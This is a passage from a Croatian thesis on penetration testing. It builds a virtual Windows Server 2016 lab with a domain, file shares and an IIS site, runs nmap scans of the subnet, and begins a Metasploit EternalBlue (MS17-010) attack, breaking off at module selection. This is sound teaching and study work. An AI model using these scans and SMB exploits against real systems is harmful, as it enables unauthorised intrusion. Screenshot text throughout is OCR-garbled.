Server okruzenju, mozemo birati ho¢emo li instalirati jednog od ili sva tri od sljedeca servisa:

1. Direct Access and VPN service
2. Routing service

3. Web Application Proxy service

VPN servis omogucuje spajanje na udaljene klijente 1 u udaljene urede, iskoriStava se
povezanost interneta u kombinaciji sa tuneliranjem i tehnologijama za kriptiranje podataka.
Sa kombinacijom VPN i Routing servisa, moguce je implementirati Always On VPN Kkoji
omogucuje da klijentska raCunala koja koriste Windows 10 1 11 uvijek mogu sigurno
pristupiti dijeljenim resursima, mreZznim stranicama na internetu i aplikacijama unutar interne
mreze bez potrebe da se ru¢no povezuju. Direct Access omogucuje udaljenim korisnicima
pristup mreznim resursima neke organizacije bez potrebe za VPN vezama, koriste¢i Direct
Access su klijentska udaljena racunala uvijek povezana na mrezu organizacije, dakle nema
nikakve potrebe da udaljeni klijenti ru¢no zapoc¢inju ili prekidaju bilo kakve veze kako je to
inace obicaj kada se koristi VPN. Uz to, Direct Access omogucéuje administratorima da
upravljaju klijentskim rac¢unalima u bilo kome trenu dokle god su ona spojena na Internet.
Routing service omogucuje usmjeravanje mreznog prometa izmedu podmreZa unutar vase
lokalne mreZe . RAS se moZe implementirati na fizickom racunalu ili unutar virtualnog stroja
racunala koje pokrece Hyper-V. Web Application Proxy service omogucuje korisnicima ili
uredajima koji su izvan lokalne mreZze neke organizacije da pristupe web aplikacijama koje se
inace nalaze unutar te lokalne mreZze. Kako bi se autentificirali korisnici pri pristupanju tim

web aplikacijama, koristi se Active Directory Federation Services (AD FS).
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4.7.1. Opasnost

Remote Access je inherentno meta napadaca zato Sto omogucava udaljeno spajanja na server
i klijentska racunala. Iznimno je bitno ispravno konfigurirat servere i klijentska racunala kako
ne bi doslo do nezeljenog pristupa na njih. Potrebno je ograniiti pristup povjerljivim
podatcima, onemoguditi bilo kakve korisnicke racune poput gosta, osigurati autentifikaciju na
razini mreze, izmijeniti zadane portove za RDP te implementirati dvofaktorsku

autentifikaciju gdje je moguce
4.8. Web Server I1S

Citav internet ne bi mogao postojati bez web servera, a web server je proces koji sluzi kao
domacin web aplikacijama. Web server omogucuje aplikacijama da procesuiraju podatke 1
razne zahtjeve koje dolaze prema serveru po odredenim logickim TCP portovima odnosno
priklju¢cima. Kao primjer mozemo navesti zadani port za HTTP promet koji je port 80, dok
onaj za HTTPS je 443, oba protokola stoje za Hyper Text Transfer Protocol, ali HTTPS ima

nastavak S koji oznacava secure odnosno moderniji i sigurniji pristup web stranicama.

Prema Microsoftu (2022), 1IS Web Server je sluzbeni Microsoftov proizvod predviden da
ispuni tu potrebu unutar Windows Server okruzenja, postoje i drugi konkurentni poput
Apache, ali ¢emo se u ovome radu dotaknuti IIS jer se bavimo Windows Server okruzenjem.
IIS funkcionira kroz razliCite standardne jezike i protokole, HTML se koristi kako bi se
kreirali jednostavni elementi poput teksta, gumba, rasporeda slika, hiperveza i slicnih. HTTP
i HTTPS se koriste kao osnovni komunikacijski protokoli za izmjenu informacija izmedu
web servera i korisnika. HTTP over SSL/TLS omogucuje enkripciju pri komunikaciji kao
dodatnu mjeru sigurnosti. Za prijenos podataka se moze koristiti FTP ili FTPS kao sigurnija
varijanta. Svakom iteracijom Windows Server okruzenja su dodane moguénosti web servera,
konkretno u Windows Server 2016 se moZemo posluziti iteracijom IIS 10. Unutar IIS 10 su
dodane dodatne moguénosti poput HTTP/2 protokola te IIS 10 takoder radi na najmanjoj
iteraciji servera Nano Server gdje moze pokretati ASP.NET Core aplikacije, Apache Tomcat
i PHP pod punim radnim optere¢enjem bez poteskoca. MreZni servisi su uvijek jedne od
prvih meta napadaca i hakera, kao §to smo mogli primijetiti u prethodnim poglavljima neke
od osnovnih tehnika izvidanja uvijek ukljucuju pregled mreznih stranica kako bi se doslo do
informacija, ali naravno uz to se mogu pronaci slabosti unutar same mreZne stranice odnosno

servera. Kako bi osigurali web server, moramo se pobrinuti za iduce stavke:

1. Operacijski sustav mora biti aZuriran najnovijim sigurnosnim azZuriranjima i zakrpama
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2. Trebamo ugasiti bilo kakve nepotrebne moguénosti i servise unutar IIS kako bi
smanjili broj vektora

Koristiti vatrozid kako bi osigurali da 11S zaprima samo valjane pakete

Kontrolirati koje IP adrese i domene mogu pristupiti 1S web serveru

Koristiti URL autorizaciju kako bi primijenili pravila za specifi¢ne zahtjeve i URLove

Koristiti logove kako bi mogli vidjeti tko je pristupio web serveru u kojem trenu

N o g b~ w

Konfigurirati mreznu stranicu koja upucuje na greSku kako bi prikazivala samo
relevantne podatke o problemu. Treba se osigurati da stranica greSke ne prikazuje
previse informacija poput korisni¢kih imena, lozinki, IP adrese servera ili bilo koju

drugu informaciju koju bi potencijalni napadaci mogli iskoristiti u zlo¢udne svrhe

Na iducoj slici mozemo vidjeti izgled sucelja IIS servera te neke njegove moguénosti.
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Slika 9. Pregled sucelja Web Server IIS
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4.8.1. Opasnost

Web serveri su takoder meta napadaca zbog svoje inherentne otvorenosti, njima se moze
otvoreno pristupiti putem interneta te se isto i radi svaki puta kada pristupimo nekoj web-
stranici. Najces¢e metode koje se koriste kako bi se ugrozili web serveri, aplikacije i njihovi
korisnici su DoS, SSH brute force, obilazenje direktorija, web obezli¢enje i MITM (Man in
the middle). Kako bi se zastitili od prethodno navedenih metoda potrebno je osigurati server.
Osiguravamo se tako da se pobrinemo da su sve datoteke vezane uz web stranicu poput
datoteka aplikacija 1 ostali podatci koji se dijele putem interneta skladiSteni na disku
odvojenom od operacijskog sustava. Kada se kreira nova root mapa za web stranicu,
minimalna prava se trebaju dati anonimnom korisniku koji pristupa mreZznom sadrZaju.
Takoder, ukoliko je za mreznu aplikaciju potreban server baze podataka poput Microsoft
SQL Servera, potrebno ga je instalirati na zasebnom serveru te ukoliko nam budZet dopusta 1

ostali mrezni servisi bi se trebali instalirati na odvojenim serverima.
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5. Izrada laboratorijskog okruzenja

U prethodnim poglavljima smo objasnili i definirali penetracijsko testiranje te naveli razloge
zaSto se provodi, zatim smo detaljnije opisali Citav proces provodenja penetracijskog
testiranja. Nakon toga smo objasnili Windows Server serversko okruzenje i naveli te objasnili
njegove mogucnosti, znacajke 1 raznolike servise koje nudi. U nadolaze¢em poglavlju ¢emo
prikazati izradu laboratorijskog okruzenja u kojem ¢emo provoditi sam proces penetracijskog

testiranja.
5.1. Virtualizacija

Laboratorijsko okruzenje koje Zelimo stvoriti kako bi proveli penetracijsko testiranje ¢e biti
razvijeno pretezito u virtualnom okruZenju, softver za virtualizaciju koji ¢emo koristiti je
VMware Workstation Player 17. Cilj je stvoriti virtualno okruzenje u kojem ¢emo moéi
simulirati stvarno radno okruzenje neke manje organizacije, dakle plan je podi¢i virtualni
stroj sa Windows Server 2016 operacijskim sustavom te par strojeva sa Windows 10
operacijskim sustavom Kkoji ¢e imitirati klijentska racunala neke organizacije. Unutar iste
podmreZe u kojima ¢e se nalaziti server i klijentska racunala, nalaziti ¢e se i virtualni stroj sa
Kali Linux operativhim sustavom koji ¢e nam sluziti kao raCunalo kojim se provodi

penetracijsko testiranje.
5.1.1. Fizi€ki stroj — ServerQ1

Za virtualizaciju nam je potreban i jedan fizi€ki stroj koji pruza resurse onim virtualnima, u

ovome slucaju je to raunalo pod imenom ServerO1. Specifikacija raunala je iduca:

IP adresa

Pohrana

Operacijski Procesor

sustav

16GB 1.2TB

ServerQ1 Windows 10 AMD Ryzen 192.168.8.108

Pro 55500

Tablica 2. Specifikacija fizickog racunala na kojem ce se virtualizirati laboratorijsko

okruzenje

Na ovo raCunalo smo instalirali softver VMware Worksation Player 17 te krenuli sa

kreiranjem virtualnih strojeva.
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5.1.2. Windows Server 2016

Preuzeli smo .iso datoteku Windows Server 2016 Standard operacijskog sustava sa

Microsoftove mrezne stranice za evaluaciju softvera, stranica se moze pronaci na slijedecoj

poveznici: hitps://www.microsoft.com/en-us/evalcenter. Kreirali smo novi stroj predviden za

Windows Server 2016 unutar VMware virtualizacijskog softvera, prilikom konfiguriranja

mreze smo odabrali bridge opciju te ¢emo dobiti 192.168.8.0/24 podmrezu, prilikom

instalacije operacijskog sustava smo odabrali Standard Desktop Experience. Koraci koje smo

potom napravili su iduci:
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58 PROPERTIES

Podesili staticku IP adresu Windows servera na 192.168.8.100
Preimenovali server u WIN-SERVER2016

Instalirali Active Directory Domain Services

Manage

Instalirali ostali potreban serverski softver za kreiranje okruzenja — DHCP server,

Tools View Help

. For WIN-SERVER2016 TASKS ~*
Computer name WIN-SERVER2016 Last installed updates Never
Domain diplomski.local Windows Update Download u
Last checked for updates Today at 19:
Windows Firewall Private: On Windows Defender Real-Time P
Remote management Enabled Feedback & Diagnostics Settings
Remote Desktop Disabled E Enhanced Security Configuration On
NIC Teaming Disabled Time zone (UTC+01:00)
Ethernet 192.168.8.100 Product ID 00378-0000¢
] Active Directory Users and Computers - [m] X
File Action View Help
= - — | R e P—— sors AMD Ryzen
e | E B XEC HREIBaETAR J——. aE
__' Saved Queries || Name Type Description isk space 61.03 GB
v c!l.p\grr.'l‘skl.local %LeasngW... Security Group...
] e fin E) Marke Markic  User
| Computers
= | Domain Controllers
~| ForeignSecurityPrinci
o | Managed Service Acc TASKS ¥
| Users
v 2] Z6 N
2| Leasing odjel
el Mﬂ/\‘s}e’(inski odjel og Date E"d'TII‘ﬂE
2 Tehnicki odjel
W ystem 19.5.2023. 19:20:59
< > e > hoplication 19.5.2023. 19:19:31
pplication 19.5.2023. 19:19:28

Slika 10. Pregled sucelja virtualnog servera WIN-SERVER2016
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https://www.microsoft.com/en-us/evalcenter

5.1.3. Windows 10 klijentsko rac¢unalo

Nakon podesavanja server smo krenuli na podesavanje klijentskih racunala laboratorijskog
okruzenja. Preuzeli smo .iso datoteku Windows 10 operacijskog sustava sa Microsoftove
mrezne stranice za evaluaciju softvera. Kreirali smo novi stroj predviden za Windows 10
operacijski sustav unutar VMware virtualizacijskog softvera, takoder smo prilikom
konfiguriranja mreze odabrali bridge opciju kako bi dobili trazenu podmrezu. Koraci koje

smo poduzeli nakon instalacije operacijskog sustava su iduéi:

1. Podesili stati¢nu IP adresu na 192.168.8.200
2. Preimenovali stroj u Racunalol
3. Pridruzili ra¢unalo domeni diplomski.local koriste¢i vjerodajnice domenskog

administratora i resetirali raGunalo

Settings

Recycld

it Home About

Find a setting Your PC is being monitored and
g
protected.

System
See details in Windows Security

Display
Device specifications

Sound .
Device name Racunalol

Notifications & actions Full device name Racunalol.diplomski.local
Processor AMD Ryzen 5 5500

yze
(2 processors)

Installed RAM 2.00 GB
Device ID 03B959BA-A448-4ECF-B78D-E80130AB518E

Product ID 00330-80000-00000-AA340

Focus assist

Power & sleep

System type 64-bit operating system, x64-based processor
Storage YE YpP o g sy P!

Pen and touch No pen or touch input is available for this display

Tablet o

i Multi-tasking 2o his PC
name this

Projecting to this PC

10 items

Slika 11. Pregled osnhovnih informacija virtualnog stroja Racunalol

5.1.4. Kali Linux stroj

Preuzeli smo .iso datoteku Kali Linux operativnog sustava sa Kali Linux mreZne stranice,

Kali Linux je operacijski sustav otvorenog koda te ga je moguce preuzeti sa idué¢e poveznice:
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https://www.kali.org/get-kali/#kali-installer-images. Kreirali smo novi stroj predviden za Kali
Linux operacijski sustav unutar VMware virtualizacijskog softvera, takoder smo prilikom
konfiguriranja mreze odabrali bridge opciju kako bi dobili trazenu podmrezu. Prilikom
instalacije operacijskog sustava smo imenovali uredaj Kali te kreirali root usera lovro, nakon

instalacije smo podesili staticku IP adresu na 192.168.8.101.

1. Podesili statiCku IP adresu na 192.168.8.101

[sudo] password for lovro:
/home/lovro

eth@:

scopeid @=
scopeid 0=

by
dropped carrier @ collisions @

.0.8.1 netmas

frame @
8 KiB)
@ overruns ® carrier @ collisions @

Slika 12. IP adresa Kali Linux virtualnog stroja

5.1.5. Kreiranje Windows okruZenja

Nakon §to smo zavrsili sa podizanjem 1 konfiguracijom svih strojeva, krenuli smo sa
kreiranjem samog Windows okruZenja. Kao §to smo prethodno naveli, ratunalo Racunalol
smo pridodali u domenu diplomski.local, idu¢i korak je kreirati korisnike unutar domene.
Najprije smo unutar domene diplomski.local kreirali novu organizacijsku jedinicu ZG koja
odreduje lokaciju organizacijske jedinice. Nakon toga smo unutar organizacijske jedinice

kreirali tri ugnijeZdene organizacijske jedinice po odjelima, jedinice su iduce:

1. Tehnicki odjel
2. Leasing odjel
3. Marketinski odjel
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| Active Directory Users and Computers - O X

File Action View Help

e nmp fBIXEaE HEILeETER

: Active Directory Users and Computers [WIN-SERVE|| Name - Type Description

Lo S s ogmmewum ]
g | Users Container Default container for up...
j Eilrl'::uters “J:.TPM Devices msTPM-InformationObjectsContainer
57 Domain Controllers J System Container Builtin systemn settings
| ForeignSecurityPrincipals J Program Data Container Default location for stor...
= Keys J NTDS Quotas msDS-CuetaContainer Quota specifications co...
| LostAndFound | Managed Service Accounts Container Default container for ma..
| Managed Service Accounts “J'.LostAndFound lostAndFound Default container for or...
| Program Data J Keys Container Default container for ke...
1 System | Infrastructure infrastructurelpdate
| Users | FareignSecurityPrincipals Coentainer Default container for sec...
3l ZG 127 Domain Controllers Organizational Unit Default container for do...
1 NTDS Quotas ] Computers Container Default container for up...
| TPM Devices 71 Builtin builtinDomain

£ >

Slika 13. Kreirana organizacijska jedinica ZG
| Active Directory Users and Computers - O X

File Action View Help

= rFa EBezH

ParETER

: Active Directory Users and Computers [WIN-SERVE|| Name N Type Description
; Tvled Q:.elnesl 12] Tehnicki odjel Organizational Unit
v ‘I.p grﬁli' oca [5] Marketinski odjel Organizational Unit
CEImI:uters [Exl Leasing odjel Organizational Unit

Domain Controllers
ForeignSecurityPrincipals
Keys

LostAndFound

Managed Service Accounts
Program Data

Systemn

Users

IG

NTDS Quotas

TPM Devices

CRECODREREREDED

Slika 14. Kreirane organizacijske jedinice po odjelima

Jednako kao i organizacijske jedinice, kreirali smo i sigurnosne grupe po odjelima, grupe su

1duce:
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1. TehnickiRWMod
2. LeasingRWMod
3. MarketingRWMod

| Active Directory Users and Computers

File Action View Help
e 2@ O XEDd= BEIPRETES

: Active Directory Users and Computers [WIN-SERVE|| pjame Type Description
: Saved QLIIE”ES B2 TehnickiRWhod Security Group - Global
v 5 diplomskilocal
| Builtin
| Computers

2| Domain Controllers
~| ForeignSecurityPrincipals
7 Keys
| LostAndFound
| Managed Service Accounts
| Program Data
| System
| Users
~ 51 Z6
o Tehnicki odjel
o] Leasing odjel
2| Marketinski odjel
_| NTDS Quotas
| TPM Devices

Slika 15. Kreiranje sigurnosnih grupa

Zatim smo na serveru na putanji C:\ kreirali mapu zvanu Dijeljeni, unutar koje smo kreirali tri

podmape, podmape su iduce:

1. Tehnicki (C:\Dijeljeni\Tehnicki)
2. Marketing (C:\Dijeljeni\Marketing)
3. Leasing (C:\Dijeljeni\Marketing)

Na svim mapama smo omogucili dijeljenje te unutar sigurnosnih postavki pridodali

odgovarajucu sigurnosnu grupu svakoj mapi.
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I 4 < | Dijeljeni - m] X
Home Share View

« 3« 4 > ThisPC » Local Disk (C) » Dijeljeni » ~ O Search Dijeljeni »
Mame Date modified Type Size
st Quick access
Tehnicki 13.5.202 File folder
[ Desktop -
Marketing File folder
‘ Downloads Leasing File folder
|&5] Documents
&= Pictures
Dijeljeni
‘s Local Disk (C:)
3 This PC
¥ Metwork
Jiterns 1 item selected =

Slika 16. Kreiranje dijeljenih mapa

Zatim smo unutar domene diplomski.local kreirali iduce korisnike te ih smijestili u

odgovarajuce organizacijske jedinice i sigurnosne grupe:

1. Pero Peric (TehnickiRWMod)

2. Marko Markic (LeasingRWMod)
3. Ana Anic (MarketingRWMod)

4. lva lvic (MarketingRWMod)
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: Active Directory Users and Computers
File Action View Help

e nH OBz EmEItaETES

: Active Directory Users and Computers [WIN-SERVE || Name - Type Description
; z.avled Q;elnesl S;, Marke Markic User
v 3 Lp ;”'_Tli_ iloca B2 | easingRWMad Security Group - Global
uiltin

| Computers
= | Domain Controllers
| ForeignSecurityPrincipals
| Keys
| LostAndFound
| Managed Service Accounts
| Program Data
| System
| Users
v 2] ZG
2| Tehnicki odjel
2| Leasing odjel
2 Marketinski odjel
| NTDS Quotas
| TPM Devices

Slika 17. Kreiranje korisnika unutar AD DS

Zatim smo se na klijentskom raunalu Racunalol uspjeS$no prijavili domenski korisni¢ki

ra¢un Marko Markic te mapirali putanju \\WIN-SERVER2016\Dijeljeni\Leasing.
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file://///WIN-SERVER2016/Dijeljeni/Leasing

RecycleBin

BE Command Prompt

STname

whoami

rs\marko.mar

Slika 18. Prijavijivanje na Racunalol koristeci korisnicki racun Marko Markic
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B~ Manage  This PC - x

Computer | View Drive Tools (7]
B [ | Uninstall of change a program
V=l B L e

B System properties
Properties Open Rename  Access Map network Add a network Cpen =
media~  drive~ location Settings j=x Manage

Location MNetwork System

&« 3 ~ 4 I ThisPC v O O Search This PC

7 Quick access  Folders (7)

[ Desktop ~ 3D Objects D8 o Leasing (\\WIN-SERVER2016\Dijeljeni) (Z:) Properties X
; Downloads + - - -
= General Secunty  Previous Versions Customise
5] Documents * Downloads M
= Pictures + ) Object name:  ZM
J’i Music Group or user names:
m Videos m Videos 42, 5YSTEM
LeasingRWMod (DIPLOMSKI\LeasingRWMad)
@ OneDrive R R 20 Administrator (DIPLOMSKI\Administrator)
~ Devices and drives (2) 52 Administrators (DIPLOMSKI\Administrators)
£ This PC Local Disk (C:) @ 9 o -
] [r— g c o change pemissions, clic} . Edt...
= Network .y 39.8 GB free of 59.4 GB 0
. Permissions for LeasingRVWMod Allow Deny
v
Network locations (1) Fuil cortrol o
Leasing Modify v
~, (\WWIN-SERVER2016\Dijeljeni) (Z:) Read & execute v
C List folder contents v
Read v
White z hd
For special permissions or advanced settings, Riraees
click Advanced.
Cancel Feply
10items 1 item selected oz &

Slika 19. Mapiranje dijeljenog mreznog diska

Isti proces smo ponovili za ostala dva korisnicka rac¢una koriste¢i virtualni stroj Racunalol.
Na  korisnickom  racunu  Pero Peric Smo mapirali ~ putanju  \\WIN-
SERVER2016\Dijeljeni\Tehnicki, a na korisnic(kom racunu Ana Anic \WIN-
SERVER?2016\Dijeljeni\Marketing.

Nakon ovoga smo na serveru WIN-SERVER2016 unutar 11S Web servera ucitali testnu web
stranicu koja ¢e nam sluziti za potrebe ovog rada. Na iduc¢oj slici mozemo vidjeti pregled web
stranice sa klijentskog racunala Racunalol, takoder je potrebno napomenuti da nemamo

SSL/TLS certifikat dakle stranici ¢emo pristupati po portu 80 odnosno HTTP portu.
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file://///WIN-SERVER2016/Dijeljeni/Tehnicki
file://///WIN-SERVER2016/Dijeljeni/Tehnicki
file://///WIN-SERVER2016/Dijeljeni/Marketing
file://///WIN-SERVER2016/Dijeljeni/Marketing

im} | [ Dani otvorenih vrata X |—|— = a

&~ O A Not secure | win-server2016/index.html A as g T Y

Slika 20. U¢itana testna web stranica unutar Web Servera IIS na serveru WIN-SERVER2016

Ovim korakom smo zavrsili proces osnovnog kreiranja Windows okruzenja. Na iducoj slici

mozemo vidjeti dijagramski prikaz ¢itavog laboratorijskog okruzenja koje smo stvorili.
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Sener
192 168.8.108

BRIDGE ﬂ
192.168.8.101
VM
N £
Kali m Racunalod

ERIDGE
192.168.8.200

BRIDGE WIN-
192.168.8.100 SERVER2016

1=

A
»
(- — |

L
=daa%
~\\

Domain DHCP File Server Web
Controller Semnver Senver IS

Slika 21. Dijagram laboratorijskog okruzenja

Iz dijagrama je vidljivo da imamo cCetiri stroja koja se nalaze i1 safinjavaju naSe virtualno
okruzenje, od tih cetiri racunala je jedno fizicko racunalo koje pokrece softver za
virtualizaciju VMware. Kompletne specifikacije racunala odnosno virtualnih strojeva su

1duce:
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Operacijski

sustav
Server01 Windows 10
Pro
Kali Kali Linux
(virtualni
stroj)
Racunalol Windows 10
(virtualni =
stroj)
Windows
=RV =Pk Server 2016
Standard

(virtualni

stroj)

Procesor

AMD
Ryzen 5
5500 (6

jezgri)

AMD
Ryzen 5
5500 (2
jezgre)

AMD
Ryzen 5
5500 (2
jezgre)

AMD
Ryzen 5

5500 (4
jezgre)

RAM

16 GB

2GB

2GB

4GB

Pohrana IP adresa Namjena
1.2TB 192.168.8.108  Fizicki server koji
pokrec¢e VMware
softver za
virtualizaciju.
40GB BRIDGE Racunalo kojim
192.168.8.101 ¢e se provoditi
penetracijsko
testiranje.
40GB BRIDGE Klijentsko
192.168.8.200 racunalo unutar
domene
diplomski.local
60GB BRIDGE DC

(diplomski.local),

DHCP Server, IIS

Web Server, File
Server

192.168.8.100

Tablica 3. Specifikacija strojeva unutar laboratorijskog okruzenja
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6. Penetracijsko testiranje

Nakon S§to smo kreirali virtualno okruzenje unutar kojeg ¢e se penetracijsko testiranje
odvijati, idu¢i korak je upravo proces penetracijskog testiranja. U ovome poglavlju ¢emo
provesti penetracijsko testiranje te je bitno napomenuti kako ¢emo provoditi grey-box
penetracijsko testiranje odnosno testiranje u kojem se nalazimo unutar lokalne mreze koju

testiramo i imamo odredene informacije o njoj.
6.1. Faza planiranja

Krajnji cilj ovog penetracijskog testiranja je otkriti ranjive toCke i sigurnosne propuste
virtualnog okruzenja kojeg smo u prethodnom poglavlju stvorili. Penetracijsko testiranje ¢e
se provoditi na idu¢i nacin, racunalo s kojim ¢e se provoditi testiranje, u ovome slucaju
virtualno racunalo sa Kali Linux operativnim sustavom ¢e se nalaziti unutar lokalne mreze
zamiSljene organizacije, uz to neCemo dobiti nikakve dodatne informacije. Plan je u fazi
otkrivanja izvidjeti koja se sve raCunala, serveri i servisi nalaze u lokalnoj mreZzi, nakon
otkrivanja je cilj evidentirati potencijalne ranjive tocke te u konacnici provesti postupak
iskoriStavanja istih odnosno napad. Nakon S§to smo utvrdili ranjive tocke i proveli
iskoriStavanje tih toCaka, sljedec¢i korak je proces u kojem zelimo zastititi sustav od istih, to
¢e se provesti implementacijom razli¢itih metodama sigurnosnog otvrdnjavanja IT sustava.

Metode koje ¢e se koristiti variraju ovisno o sigurnosnom propustu koji smo pronasli
6.2. Faza otkrivanja

Unutar naseg Kali raCunala smo pokrenuli terminal te se najprije prijavili kao root user
koriste¢i sudo su naredbu, ovo smo odmah napravili jer ¢e nam svakako trebati kasnije u
procesu otkrivanja. Nakon §to smo se prijavili kao root user upisali smo naredbu ifconfig

kako bi saznali u kojoj se podmrezi nalazimo:
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[sudo] password for lovro:
/home/lovro

L: 4163 mtu 1508
6 3 ; Lb:i3ec3 refi n b C id @ ink>
: scopeid
64 scopeid @=@

droppéd r frame @
. 3158 by B26516 MiB )
X errors @ dropped @ « "T @ carrier @ collisions @

txgqueuelen g Loopback)
ts 61 bytes 6992 (6.8 KiB)
uns @ frame @
8 KiB)
rerruns @ carrier @ collisions @

Slika 22. Podmreza Kali Linux stroja

Vidljivo nam je nakon rezultata kojeg smo dobili da smo dobili IP adresu 192.168.8.101 te da
nam je netmask 255.255.255.0, ovo znaci da se nalazimo u podmrezi 192.168.8.0/24.

Nakon §to smo to zakljucili, cilj je izvidjeti koja se ostala racunala ili serveri nalaze u toj
mrezi. Najlaksi nacin razlikovanja klijentskih racunala od servera jest da evidentiramo Kkoji
servisi se nalaze na kojem uredaju U mrezi. Ovo mozemo saznati koriste¢i idu¢u naredbu
nmap 192.168.8.0/24. Nmap je ime servisa unutar Kali Linux operativhog sustava koji se
najcesce koristi za fazu izvidanja mreze, moramo specificirati podmrezu u kojoj se nalazimo
te pokrenuti skeniranja, servis ¢e nam vratiti podatke o uredajima koji se nalaze u mrezi,

njihove IP adrese te servise, portove i stanje portova.

Prilikom pokretanja navedene naredbe, najbitniji nam je iduci rezultat:
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Starting Nmap 7

Nmap scan report for homer
Host is up (0.00241s latenc)
Mot shown: 997 close

PORT STATE SERVICE
open domain
open http
open https
MAC Address: 62:E4:7E:2E:56:81 (Unknown )

Nmap scan report for DESKTOP-UL@E@GHS (192.168.8.100)
Host is up (0.00853s latency).

Mot shown: 988 filtered tcp ports (no-response)

PORT STATE SERVICE

53/tcp open domain

80/ /tcp open http

88/ /tcp open kerberos-sec
135/tcp open msrpc

139/tcp open netbios-ssn
389/tcp open ldap

445/tcp open microsoft-ds
Le4/tcp open  kpasswds

503/tcp open http-rpc-epmap
636/tcp open ldapssl

3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPss|E
MAC Address: @8:0@:2]

Slika 23. Nmap skeniranje podmreze 192.168.8.0/24

Pronasli smo uredaj na IP adresi 192.168.8.100 na kojem je vidljiv veliki broj otvorenih
portova, po servisima poput kerberos-sec, Idap mozemo zakljuciti kako se vrlo vjerojatno radi
o domain controlleru. Uz to na uredaju mozemo vidjeti 1 ostale otvorene portove poput 80

koji sluzi za http protokol, dakle moguce je da se na njemu nalazi i web-server.

Kako bi saznali viSe informacija o samom uredaju, koristiti ¢emo naredbu nmap
192.168.8.100 -sV. Dakle sada Zelimo skenirati specifi¢an uredaj koji se nalazi na adresi
192.168.8.100 jer za njega sumnjamo da je u ulozi servera te na naredbu nadodajemo flag -
sV, -s oznacava da provodimo stealth sken odnosno prikriveni sken dok dodatak V oznacava
verbose odnosno Zelimo da nam nmap vrati $to je viSe moguce podataka o skeniranim IP

adresama i portovima.

Kod pokretanja naredbe, dobivamo idu¢i rezultat:
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/home/lovro

3:11 CEST

STAT
open
open
open
open
open
open C Site: Default-First-Site-Name)

open
open tcpwra

open ldap Microsoft Windows Active Directory LDAP (Domain: diplomski.local, Site: Default-First-Site-Name)
open tcpwrapped

Slika 24. Verbozno Nmap skeniranje uredaja na IP adresi 192.168.8.100

Iz gornje slike odnosno skena je vidljivo da se radi o serverskom racunalu, iz skena moZzemo

zakljuciti da se radi o serveru na kojem su zasigurno pokrenuti iduci servisi:

1.
2.
3.
4.

DNS
Web Server
ADDS

File share

Takoder smo zbog dodatka -sV flaga dobili informacije o samoj domeni koja se nalazi na

serveru, ime domene je diplomski.local. Prilikom ovog skena mozemo zakljuciti da postoje

ranjive sigurnosne tocke, a to su iduce :

1.

Port 80 (otvoren) — ranjiv i nesiguran port koji se koristi za HTTP protokol, ¢esto se
jos$ uvijek iz prakticnih razloga zna koristiti u lokalnim, zaSti¢enim mrezama koje
nemaju izlazak prema internetu. Inace je u danasnje vrijeme standard HTTPS protokol
koji koristi portove 443 i 8443 s time da je za njih potreban SSL/TLS certifikat.

Port 445 (otvoren) — microsoft-ds servis koji se pokre¢e na ovome serveru je indikator
servera datoteka koji koristi SMB protokol. SMB protokol se koristi u Windows
okruzenjima za dijeljenje podataka i sli¢nih resursa. MoZemo vidjeti pod verzijama da
se koristi Microsoft Windows Server 2008 R2 — 2012 microsoft-ds, ukoliko se koristi
stariji standard SMBI1 koji je izrazito podlozan napadima, moguce je vrlo lako do¢i do

kompletne kontrole nad serverom.

Uz prethodno navedeni server, na mrezi nam je vidljiv iduéi ureda;:
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Nmap scan report for WIN-J4I6C@269CY (192.168.8.200)
Host is up (©.8825s latency).

Mot shown: 996 filtered tcp ports (no-response)

PORT STATE SERVICE

OpENn MSIpC
open netbios-ssn
open microsoft-ds
open wsdapi

MAC Address: @8:@8:27:56:8A:75

Slika 25. Uredaj na adresi 192.168.8.200

Na navedenom uredaju takoder mozemo pokrenuti nmap skeniranje sa -sV flagovima kako bi

dobili detaljnije rezultate. Pokretanjem skeniranja dobivamo iduce:

Nmap scan report for WIN-J4I6C@269CY (192.168.8.200)
Host is up (0.0014s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
open mMsrpc Microso Windows RPC

open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds?
open http Microsoft HTTPAPI httpd 2.2 (SSDP/UPnP)

27:56:8A:75

Vindows; CPE: cpe:/o:microsott:windows

Slika 26. Verbozno Nmap skeniranje uredaja na adresi 192.168.8.200

Evidentno je da se radi o Windows operacijskom sustavu te po otvorenim portovima mozemo

zakljuciti kako se vrlo vjerojatno radi o klijentskom racunalu.
6.3. Faza napada

Prvo ¢emo se posvetiti iskoriStavanju ranjivih toCaka na serveru kojeg smo pronasli
skeniranjem lokalne mreze. Izrazito slaba tocka u ovome slucaju se nalazi na portu 445
odnosno microsoft-ds servis koji koristi zastarjeli SMBV1 protokol. Jedan od najveéih napada
u modernom dobu se dogodio iskoriStavajuci upravo ovaj protokol te su prilikom napada bili

zahvaceni Windows Server 2016 i sve ranije ina¢ice Windows Server operacijskog sustava.
6.3.1. Napadi i iskoriStavanje servera

U prvome koraku ¢emo na nasem Kali stroju pokrenuti konzolu metasploit alata, to ¢emo

napraviti tako da unutar terminala sa root ovlastenjem pokrenemo naredbu msfconsole.
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/home/lovro

exploits - 1189 auxiliary - 404 post
payloads - 45 encoders - 11 nops

Metasploit tip: Display the Framework log using the
command, learn more with Log
Metasploit Documentation: https:// asploit.com/

Slika 27. Pokretanje Metasploita

Nakon $to msfconsole pokrenuo dobivamo vidljivi prikaz da se nalazimo unutar programa. U
programu se inace nalazi veliki broj poznatih skripti i potprograma koji sluze za
iskoriStavanje ranjivih toc¢aka racunalnih sustava. Prilikom iskoriStavanja ove ranjive tocke
¢emo se fokusirati na koristenje EternalBlue programa. Prvo unutar konzole upisemo search

eternalblue kako bi dobili popis potprograma i raznih skripti koje mozemo pokrenuti.
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ernalblue

Matching Modules

# Name Disclosure Date
@ exploi indows/smb/ms17_010_Eternalblue y i age
it/windows/smb/ms17 010 psexec 20170 / normal
indows Code Execution
2 auxilis dmin/smb/ms17_@1@_command 2017 v normal
ution
r/smb/smb_ms17_@1@ normal
smb/smb_doublepulsar_rce 2817-84-14 "eat

Slika 28. Trazenje eternalblue exploita

Nakon §to smo pronasli potprogram zelimo koristiti, u ovome slucaju se nalazi pod rednim
brojem 1 odnosno exploit/windows/smb/ms17_010_psexec, potrebno je najprije skenirati
metu odnosno server te provijeriti da li je uopc¢e podlozan toj ranjivosti. To mozemo saznati
